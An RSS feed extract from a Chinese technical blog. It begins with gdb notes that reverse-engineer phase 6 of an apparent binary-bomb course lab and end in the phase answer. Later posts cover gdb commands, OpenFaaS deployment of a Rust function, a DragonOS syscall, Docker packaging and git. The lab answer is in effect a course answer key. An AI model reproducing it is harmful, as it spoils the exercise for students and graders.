### IONEFG
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;phase_6&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_6
(gdb) b 108
(gdb) r keepgo
(gdb) b *0x40111e
## for () for (jne)  -- update keepgo
(gdb) b *0x401153
(gdb) p *(int*)($rax)
# mov    %ecx,%edx   # edx = 7
# sub    (%rax),%edx # edx -= *rax
# mov    %edx,(%rax) # mov back
(gdb) p *$ecx
(gdb) p *0x6032d0
$6 = 332 # ?
(gdb) x/32d 0x6032d0
# 0x6032d0 &amp;lt;node1&amp;gt;:       332     1       6304480 0
# 0x6032e0 &amp;lt;node2&amp;gt;:       168     2       6304496 0
# 0x6032f0 &amp;lt;node3&amp;gt;:       924     3       6304512 0
# 0x603300 &amp;lt;node4&amp;gt;:       691     4       6304528 0
# 0x603310 &amp;lt;node5&amp;gt;:       477     5       6304544 0
# 0x603320 &amp;lt;node6&amp;gt;:       443     6       0       0
(gdb) x/12a 0x6032d0
# 0x6032d0 &amp;lt;node1&amp;gt;:       0x10000014c     0x6032e0 &amp;lt;node2&amp;gt;
# 0x6032e0 &amp;lt;node2&amp;gt;:       0x2000000a8     0x6032f0 &amp;lt;node3&amp;gt;
# 0x6032f0 &amp;lt;node3&amp;gt;:       0x30000039c     0x603300 &amp;lt;node4&amp;gt;
# 0x603300 &amp;lt;node4&amp;gt;:       0x4000002b3     0x603310 &amp;lt;node5&amp;gt;
# 0x603310 &amp;lt;node5&amp;gt;:       0x5000001dd     0x603320 &amp;lt;node6&amp;gt;
# 0x603320 &amp;lt;node6&amp;gt;:       0x6000001bb     0x0
## std::list &amp;amp;&amp;amp; sizeof(node)==16
## { int val; int idx; node* next; }
(gdb) b *0x401176
(gdb) r keepgo
(gdb) p *$rdx
## std::reverse(list)
(gdb) b *0x4011bd
(gdb) p *(node*)($rax)
# mov    (%rax),%rdx
# mov    %rdx,0x8(%rcx)
## node[i].next = node[i-1]
(gdb) b *0x4011d2
(gdb) p /x $rdx
$1 = 0x6032d0 # node1
# mov    0x8(%rbx),%rax
# mov    (%rax),%eax
# cmp    %eax,(%rbx)
# jge    4011ee &amp;lt;phase_6+0xfa&amp;gt;
# call   40143a &amp;lt;explode_bomb&amp;gt;
## jge list
## -- update keepgo
##      1   2   3   4   5   6
##    332 168 924 691 477 443
##  =&amp;gt;  3   4   5   6   1   2
### =&amp;gt;  4   3   2   1   6   5
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>gdb 教程</title><link>https://blog.alinche.dpdns.org/posts/gdb/command/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/gdb/command/</guid><description>gdb 命令</description><pubDate>Mon, 24 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;⚡ 断点调试（Breakpoints）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    gdb -x in ./a.out

    b filename.cpp:10 # 在filename.cpp的第10行设置断点
    info b            # 查看所有断点信息
    d 1               # 删除编号为1的断点
    disable 1         # 临时禁用1号断点
    enable 1          # 重新启用1号断点
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🕵️‍♂️ 观察点（Watchpoints）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    info wat
    watch variable_name
    wa # (监视Race共享变量)
    wa buf if buf == nullptr     # 条件监视：当buf为null时触发
    wa -location &amp;amp;shell.edit_pos
    (gdb) commands # 自定义观察点行为
    &amp;gt; printf &quot;x=%d at %s:%d\n&quot;, x, $_sargv[1], $bpnum # 用户态$_sargv[1]
    &amp;gt; continue
    &amp;gt; end
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🚀 程序运行控制（run）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    start  # start 开始调试，在main函数处暂停
    r      # run 开始/继续运行程序
    n      # next 执行下一行（不进入函数）
    s      # step 执行下一行（进入函数）
    si     # step i 执行下一行指令（asm）

    finish # finish 执行完当前函数并暂停
    c      # continue 继续运行直到下一个断点
    q      # quit 退出GDB
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;📊 信息查看与变量检查（info / print）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    info b          # 查看断点
    info rec        # 查看 record

    info v
    info locals     # 查看当前栈帧的局部变量

    p variable_name # 打印变量值
    p &amp;amp;rax
    display var     # 每次暂停自动显示变量
    list            # 显示当前位置的源代码

    info reg        # 查看寄存器值
    info threads
    thread 2

    (gdb) commands 2
    &amp;gt; printf &quot;x=%d at %s:%d\n&quot;, x, $_sargv[1], $bpnum
    &amp;gt; continue
    &amp;gt; end

    x/4i $rip
    x/8 $rsp-8
    disp/x *(long*)($rsp)
    disp/xi $rip
    x/16xb 0x7fffffffdb28 # byte halr word g i char string
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🖥️ 界面布局控制（layout）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    la src
    la asm
    la split
    la regs

    tui enable
    tui disable

    Ctrl X + 1
    Ctrl X + 2
    Ctrl X + A
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;⏪ 执行记录与回放（record）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    rec full # 开始记录完整执行历史
    rec stop # 停止记录
    info rec # 显示记录信息
    info fds # 显示当前进程打开的文件描述符

    rec save trace.gdb    # 保存执行记录
    rec restore trace.gdb # 载入执行记录

    rs             # 反向单步执行
    rsi            # 反向单条指令执行
    rec goto begin
    rec goto end
    rec goto 1     # 跳转到执行历史中的第15步
    rec delete
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🔧 环境变量设置（env）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    set $source_file = &quot;mysh.cpp&quot;       # 定义自定义变量
    set environment LD_PRELOAD=mylib.so # 设置环境变量
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🧵 并发调试技巧&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    thread id                  # 切换到线程id
    info threads               # 查看所有线程
    b worker.cpp:20 thread 2   # 断点调试
    # 双进程调试模式
    set detach-on-fork off     # 同时保留父子进程的调试控制
    inferior id                # 切换到进程id
    info inferiors             # 查看所有进程

    # fork()处理策略
    set detach-on-fork off + inferior # 保留所有fork进程
    set follow-fork-mode child        # 自动追踪fork出的子进程，（默认parent）
    # execve()处理
    set follow-exec-mode new   # exec函数族创建一个新进程，（默认same）

    # 信号处理
    handle SIGINT print stop # 捕获SIGINT信号
    signal SIGINT            # 手动发送信号（调试信号处理器）
    # 捕获特定系统调用
    catch syscall setpgid    # 拦截进程组设置调用
    catch syscall tcsetpgrp  # 拦截终端控制权转移
    call (int)tcgetpgrp(0)   # 检查当前终端前台进程组
    p setsid()                 # 创建新会话（验证会话行为）

    # 自定义
    catch syscall setpgid
    commands
    printf &quot;setpgid(%d, %d) by pid=%d\n&quot;, $rdi, $rsi, $rax
    continue
    end

    break close
    commands
    printf &quot;Closing fd=%d\n&quot;, (int)$rdi
    backtrace
    continue
    end
    bt # 打印当前线程的调用栈 (程序崩溃/对未预期行为/定位线程状况/...)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>OpenFaaS Week3</title><link>https://blog.alinche.dpdns.org/posts/faas/openfaas/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/faas/openfaas/</guid><description>OpenFaaS 入门教程</description><pubDate>Fri, 14 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Lab&lt;/h2&gt;
&lt;h3&gt;Step 1 本地部署一个 OpenFaaS&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;选择在裸机环境下安装 &lt;code&gt;faasd&lt;/code&gt; (我没有这么做)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kubernetes&lt;/code&gt; ( &lt;code&gt;k8s&lt;/code&gt; )&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;为什么要 &lt;code&gt;k8s&lt;/code&gt; ：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;服务发现和负载均衡&lt;/li&gt;
&lt;li&gt;存储编排&lt;/li&gt;
&lt;li&gt;自动部署和回滚&lt;/li&gt;
&lt;li&gt;自动资源调度&lt;/li&gt;
&lt;li&gt;自我修复容器（重启、替换、杀死容器）&lt;/li&gt;
&lt;li&gt;密钥与配置管理&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;附：&lt;a href=&quot;https://docs.openfaas.com/deployment/kubernetes/&quot;&gt;OpenFaaS CE 官方文档&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;OpenFaaS&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 查看IP
kubectl get nodes -o wide
kubectl get svc gateway -n openfaas

# 设置/更改密码
# 删除旧密码 kubectl -n openfaas delete secret basic-auth
kubectl -n openfaas create secret generic basic-auth \
    --from-literal=basic-auth-user=admin \
    --from-literal=basic-auth-password=newpassword

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;kubectl get pods -n openfaas
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确保所有 &lt;code&gt;pods&lt;/code&gt; 为 &lt;code&gt;STATUS: Running&lt;/code&gt;，而不是 &lt;code&gt;CrashLoopBackOff&lt;/code&gt; (搞这个莫名搞了我半天 &lt;code&gt;:(&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;登进 &lt;code&gt;OpenFaaS&lt;/code&gt; http://&amp;lt;Node-IP&amp;gt;:31112 (可选：修改 &lt;code&gt;hosts&lt;/code&gt; 文件)
&lt;img src=&quot;images/OpenFaaS.png&quot; alt=&quot;|690x222&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 2 编写业务代码&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;GET /：返回提示信息。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;POST /echo：返回请求体内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;POST /echo/uppercase：返回转为大写的请求体内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;POST /echo/primes：返回是否为质数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;main.rs:(我这里想实现一个2e7范围内判断质数的 &lt;code&gt;FaaS&lt;/code&gt; ，需要手动配置 &lt;code&gt;Tokio&lt;/code&gt; )&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fn handler_service(req: Request&amp;lt;Body&amp;gt;) -&amp;gt; BoxFuture&amp;lt;&apos;static, Result&amp;lt;Response&amp;lt;Body&amp;gt;, Infallible&amp;gt;&amp;gt; {
    Box::pin(async {
        match handler::echo(req).await {
            Ok(response) =&amp;gt; Ok(response),
            Err(e) =&amp;gt; {
                let error_response = Response::builder()
                    .status(500)
                    .body(Body::from(format!(&quot;Internal Server Error: {:?}&quot;, e)))
                    .unwrap();
                Ok(error_response)
            }
        }
    })
}

fn main() {
    // 配置 Tokio 运行时的栈空间大小
    let runtime = Builder::new_multi_thread()
        .thread_stack_size(160 * 1024 * 1024) // 设置每个线程的栈空间为 160MB
        .enable_all() // 启用所有功能（包括 I/O 和时间功能）
        .build()
        .unwrap();
    
    let addr = ([0, 0, 0, 0], 3000).into();
    // 创建服务
    let make_svc = make_service_fn(|_conn| async {
        Ok::&amp;lt;_, Infallible&amp;gt;(service_fn(handler_service))
    });
    // 启动服务器
    
    runtime.block_on(async {
        let server = Server::bind(&amp;amp;addr).serve(make_svc);
        println!(&quot;服务器已启动，监听地址: {}&quot;, addr);
        if let Err(e) = server.await {
            eprintln!(&quot;server error: {}&quot;, e);
        }
    });

    println!(&quot;服务器已退出&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当异步函数执行到一个await表达式时，状态机会保存当前状态，并将控制权返回给调用者。
&lt;code&gt;cargo run&lt;/code&gt; 测试如下：
&lt;img src=&quot;images/localtest.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 3 部署 &lt;code&gt;FaaS&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;login&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# docker hub
docker login -u &amp;lt;yourname&amp;gt;

# OpenFaaS
cat ~/faas_pass.txt | faas-cli login -u admin --password-stdin --gateway http://172.30.225.124:31112
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面这样就是成功登录了，不要像我一样以为刚需https，捣鼓一晚上 &lt;code&gt;:(&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Calling the OpenFaaS server to validate the credentials...
WARNING! You are not using an encrypted connection to the gateway, consider using HTTPS.
credentials saved for admin http://172.30.225.124:31112&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;部署函数：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 构建函数镜像 DOCKER_BUILDKIT=1 faas-cli build
faas-cli build -f &amp;lt;function-yaml-file&amp;gt;

# 推送函数镜像到仓库
faas-cli push -f &amp;lt;function-yaml-file&amp;gt;

# 部署函数到 OpenFaaS
faas-cli deploy -f &amp;lt;function-yaml-file&amp;gt;

# 三合一
faas-cli up -f &amp;lt;function-yaml-file&amp;gt;

# 查看函数列表
faas-cli list
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;登上 &lt;code&gt;OpenFaaS UI&lt;/code&gt; 或者用 &lt;code&gt;curl&lt;/code&gt; 查看(在或者用 &lt;code&gt;faas-cli invoke my-func&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 查看密码
PASSWORD=$(kubectl -n openfaas get secret basic-auth -o jsonpath=&quot;{.data.basic-auth-password}&quot; | base64 --decode)
echo &quot;OpenFaaS admin password: $PASSWORD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成果如下：
&lt;img src=&quot;images/FaaStest.png&quot; alt=&quot;|690x380&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;后记&lt;/h3&gt;
&lt;p&gt;多路由函数（比如/echo，/echo/others 等等），在 &lt;code&gt;OpenFaaS&lt;/code&gt; 上要注意：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(外部网关)http://172.30.225.124:31112/function/echo 的 &lt;code&gt;echo&lt;/code&gt; 只是名字，其实是 &lt;code&gt;/&lt;/code&gt; 根目录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;后后记（基于sjgg的讲解继续学习）&lt;/h3&gt;
&lt;p&gt;在OpenFaaS中，&lt;code&gt;Hooks&lt;/code&gt; 是通过 &lt;code&gt;Watchdog&lt;/code&gt; 实现的，&lt;code&gt;Watchdog&lt;/code&gt; 是OpenFaaS的关键组件，负责：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动和监控函数的运行&lt;/li&gt;
&lt;li&gt;进行函数的生命周期管理&lt;/li&gt;
&lt;li&gt;并发处理和超时管理&lt;/li&gt;
&lt;li&gt;健康检查&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;COPY at My Blog &lt;a href=&quot;https://bbs.dragonos.org.cn/t/topic/487&quot;&gt;bbs 2024 Week3&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>syscall Week2</title><link>https://blog.alinche.dpdns.org/posts/os/syscall/syscall/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/syscall/syscall/</guid><description>syscall 概念</description><pubDate>Wed, 22 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Lab 1 ： 在DragonOS中实现一个系统调用&lt;/h2&gt;
&lt;h3&gt;Step 0 什么是系统调用？&lt;/h3&gt;
&lt;p&gt;系统调用（System Call）是用户程序和操作系统内核之间的接口，用户不能直接 &lt;code&gt;touch&lt;/code&gt; 内核，用户程序（&lt;code&gt;e.g.&lt;/code&gt; &lt;code&gt;main&lt;/code&gt;函数）通过特定的&lt;strong&gt;系统调用接口&lt;/strong&gt;发起请求，实现从用户态到内核态的调用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统调用的过程：
&lt;ol&gt;
&lt;li&gt;发起请求：用封装好的库函数（如 libc）或 系统特定的库&lt;/li&gt;
&lt;li&gt;设置参数 argv：放入特定的寄存器或压入堆栈&lt;/li&gt;
&lt;li&gt;触发中断/其他特殊指令：执行一条特殊的 CPU 指令，如 trap 或 软件中断&lt;/li&gt;
&lt;li&gt;陷入内核：从用户态切换到内核态，保存当前应用程序的执行上下文（PC，reg等），然后根据中断号跳转到内核中预设好的系统调用入口点&lt;/li&gt;
&lt;li&gt;内核处理：&lt;/li&gt;
&lt;li&gt;返回用户态：从内核态切换回用户态，恢复上下文，返回的状态码&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 &lt;code&gt;Linux&lt;/code&gt; 系统上，&lt;code&gt;Rust&lt;/code&gt; 标准库的 &lt;code&gt;println!()&lt;/code&gt; 宏就可能是通过 &lt;strong&gt;&lt;code&gt;glibc&lt;/code&gt;&lt;/strong&gt; 来访问系统调用，如 &lt;code&gt;write&lt;/code&gt; ，从而将字符串输出到标准输出。而下面的add()函数就只在用户态中用函数调用栈调用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/sys-add.png&quot; alt=&quot;|690x367, 75%&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么，具体是怎么从用户态 &lt;strong&gt;&lt;code&gt;trap&lt;/code&gt;&lt;/strong&gt;（陷入）到内核态捏（&lt;/p&gt;
&lt;p&gt;答：32位是int $0x80中断，64位是syscall汇编指令（先将系统调用号，参数等传入CPU寄存器）&lt;/p&gt;
&lt;h3&gt;Step 1 实现一个简单的系统调用&lt;/h3&gt;
&lt;p&gt;如上述提到的 &lt;code&gt;fn add()&lt;/code&gt; ，进入 &lt;code&gt;kernel/src/syscall/mod.rs&lt;/code&gt; ，先创建 &lt;code&gt;const SYS_ADD&lt;/code&gt; 自定义系统调用号(伪)
&lt;img src=&quot;images/sys.png&quot; alt=&quot;|690x241&quot; /&gt;
读源码查找到 &lt;code&gt;SystemError::EOVERFLOW&lt;/code&gt; 表示数值溢出错误，&lt;code&gt;SystemError::ENOSYS&lt;/code&gt; 表示系统调用不支持或不存在。
临时将参数转为&lt;code&gt;isize&lt;/code&gt;，并使用 &lt;code&gt;checked_add()&lt;/code&gt; 检查是否溢出，最后转回&lt;code&gt;usize&lt;/code&gt;
&lt;img src=&quot;images/handle.png&quot; alt=&quot;|655x500&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 2 编写用户态测试程序并进行测试&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注：&lt;/strong&gt; 使用 &lt;code&gt;use libc::syscall&lt;/code&gt; 需要在 &lt;code&gt;Cargo.toml&lt;/code&gt; 中添加依赖 &lt;code&gt;libc = &quot;0.2.153&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;保存后 &lt;code&gt;make build&lt;/code&gt; 编译 运行，结果如下：&lt;/p&gt;
&lt;h2&gt;小结一下&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;OS&lt;/code&gt; 还有很多知识不太了解，应补尽补，但也不能急于求成，要细嚼慢咽多往深处细学 &lt;code&gt;:))&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;COPY at My Blog &lt;a href=&quot;https://bbs.dragonos.org.cn/t/topic/477&quot;&gt;bbs 2024 Week2&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>docker Week1</title><link>https://blog.alinche.dpdns.org/posts/docker/docker_build/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/docker/docker_build/</guid><description>docker 打包</description><pubDate>Mon, 20 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Lab 1 : Practice web app with docker&lt;/h2&gt;
&lt;h3&gt;Step 1~3 初识&lt;code&gt;Actix-web&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;SSH&lt;/code&gt; + &lt;code&gt;Termius&lt;/code&gt;组合拳使我们可以安全地在本地计算机上执行命令和操作远程计算机。&lt;/p&gt;
&lt;p&gt;初识&lt;code&gt;Actix-web&lt;/code&gt; ，先直接把官网的小白代码copy下来，通过GPT辅助进行学术研究。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;加入你所需要的全部依赖项&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;   [dependencies]
   actix-rt = &quot;2.10.0&quot;
   actix-web = &quot;4&quot;
   actix-files = &quot;0.6&quot;
   actix-cors = &quot;0.7.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;把&lt;code&gt;bind&lt;/code&gt; 的地址改成虚拟机&lt;code&gt;ip&lt;/code&gt; ，默认使用8080端口，在局域网下主机可以访问虚拟机。&lt;/li&gt;
&lt;li&gt;用宏定义一个 GET 路由/echo/{user_id}/{friend}&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    #[get(&quot;/echo/{user_id}/{friend}&quot;)] // define path param
    async fn index(path: web::Path&amp;lt;(u32, String)&amp;gt;) -&amp;gt; Result&amp;lt;String&amp;gt; {
        let (user_id, friend) = path.into_inner();
        Ok(format!(&quot;Welcome {}, user_id: {}!&quot;, friend, user_id))
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;你可以创建一个名为&lt;code&gt;web&lt;/code&gt; 的文件夹，并将你的静态文件放在其中。（顺便也可以用于记录你的 &lt;code&gt;Rust&lt;/code&gt; / &lt;code&gt;Docker&lt;/code&gt; 等的笔记doge）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    HttpServer::new(|| {
        App::new()
            .wrap(Cors::permissive())
            # 将./web 目录下的文件作为静态文件提供，并且当访问根路径/时，默认返回index.html文件。
            .service(fs::Files::new(&quot;/&quot;, &quot;./web&quot;).index_file(&quot;index.html&quot;))
    })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/actix_web_code.png&quot; alt=&quot;a&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;编译运行，然后使用主机访问虚拟机（可以使用 &lt;code&gt;CMD&lt;/code&gt; 或 &lt;code&gt;浏览器&lt;/code&gt;，如下图所示）
&lt;img src=&quot;images/html.png&quot; alt=&quot;|647x500, 100%&quot; /&gt;z&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 4 Swagger 智能检查 API&lt;/h3&gt;
&lt;p&gt;部署&lt;code&gt;Swagger Editor&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 拉取镜像
docker pull swaggerapi/swagger-editor
# -d 以后台方式运行  -p 25565:8080 # (主机端口25565:容器端口8080)
docker run -d -p 25565:8080 swaggerapi/swagger-editor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主机访问虚拟机ip:端口号，然后编写 &lt;code&gt;openAPI&lt;/code&gt; 文档定义请求，效果如下：
&lt;img src=&quot;images/swagger.png&quot; alt=&quot;|690x405&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 2 封装Rust应用到docker镜像&lt;/h2&gt;
&lt;h3&gt;Step 1~3&lt;/h3&gt;
&lt;p&gt;添加 &lt;code&gt;dorkerfile&lt;/code&gt; 到项目根目录，然后打包成镜像。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;注：要改为&lt;/strong&gt;&lt;/em&gt;  &lt;code&gt;.bind((&quot;0.0.0.0&quot;, 8080))?&lt;/code&gt;
使服务器可以接受来自本地机器以及任何远程机器的连接请求。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;images/Networks.png&quot; alt=&quot;|690x293, 75%&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build -t actix-web:v0.1 .
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 25565:8080 actix-web:v0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（探究：&lt;code&gt;-d&lt;/code&gt; 参数是转为后台运行，&lt;code&gt;-it&lt;/code&gt;参数是进入交互( &lt;code&gt;exit&lt;/code&gt; 退出并停止, &lt;code&gt;Ctrl+P+Q&lt;/code&gt; 退出但不停止)
（探究：也可以创建一个自定义网络：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker network create my-network
# 用 docker network inspect my-network 查看详情
docker run -d -p :25565:8080 --name actix0 --network my-network actix-web:v0.1
# 查看容器`IP`
docker inspect -f &apos;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&apos;  {CONTAINER ID}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Containers.png&quot; alt=&quot;|690x260, 75%&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;小结一下&lt;/h2&gt;
&lt;p&gt;首先感谢DLC学长的指导，这几天也努力学了一些&lt;code&gt;Rust&lt;/code&gt;相关知识，对它的所有权系统、生命周期等等既感到好奇又有点困惑，继续努力吧&lt;code&gt;:)&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;COPY at My Blog &lt;a href=&quot;https://bbs.dragonos.org.cn/t/topic/463&quot;&gt;bbs 2024 Week1&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>git 教程</title><link>https://blog.alinche.dpdns.org/posts/git/git/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/git/git/</guid><description>git 从入门到精通 + 任务书</description><pubDate>Sun, 19 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Git&lt;/h1&gt;
&lt;h2&gt;安装与配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# Linux 安装
sudo apt install -y vim git

# 全局配置用户信息
git config --global user.name &quot;aLinChe&quot;
git config --global user.email &quot;1129332011@qq.com&quot;
git config --global core.editor vim
git config --global color.ui true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建仓库与基础操作&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git init [project_name]
/// or
git clone https://github.com/DragonOS-Community/DragonOS

git status
git add .
git commit -m &quot;feat(add-func): feat template-function-add to ...&quot;

git fetch
git pull --all
git pull --rebase

git push
git push -f
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;分支操作&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 创建新分支并切换到该分支
git checkout -b [branch-name]
# 切换到对应分支
git checkout [branch-name]

git branch -vv
git branch -a

# 删除本地分支
git branch -d [branch-name] # 安全删除(已合并)
git branch -D [branch-name] # 强制删除(未合并)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;合并与变基策略&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git checkout master
git merge feat/add_branch    # 合并指定分支(feat/add_branch)到当前分支(master)
git push                     # 推送合并结果
git checkout feat/add_branch # 切换回原开发分支
/// or
git checkout feat/add_branch
git rebase master                    # 将当前分支变基到master
git branch -f master feat/add_branch # 移动master指针 or 
git checkout master                  # 切换到master
git push                             # 推送更新
git checkout feat/add_branch         # 切换回原开发分支
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提交历史修改&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 撤销与重置
git reset HEAD~n         # 撤销最近 n 次提交
git reset --hard HEAD~n  # 丢弃最近 n 次提交
git reset [hashed]
git reset --keep [hashed]

git revert [hashed]      # 创建新提交来撤销更改

git push origin [branch-name]
git branch -d [branch-name]
git branch -D [branch-name]
git push origin -d [branch-name]

git rebase -i HEAD~n
squash
# pick   - 保留提交
# reword - 修改提交信息
# edit   - 修改提交内容
# squash - 合并到前一个提交
# drop   - 丢弃提交
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;储藏与拣选操作&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 临时储藏更改
git stash
git stash save &quot;描述信息&quot;
git stash list
git stash pop
git stash apply stash@{n}
git stash drop stash@{n}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 选择性应用提交
git cherry-pick [commit-hash]

git cherry-pick [start-hash]^..[end-hash]

git cherry-pick [hash1] [hash2] [hash3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;工作树管理 (git worktree)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;git worktree&lt;/code&gt; 允许你在&lt;strong&gt;同一个仓库中同时检出多个分支到不同目录&lt;/strong&gt;，所有工作区共享同一个 &lt;code&gt;.git&lt;/code&gt; 目录（对象数据库），节省空间。&lt;/p&gt;
&lt;p&gt;与 &lt;code&gt;git stash&lt;/code&gt; 对比：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git stash&lt;/code&gt;：适合&lt;strong&gt;短时间&lt;/strong&gt;的简单环境切换&lt;/li&gt;
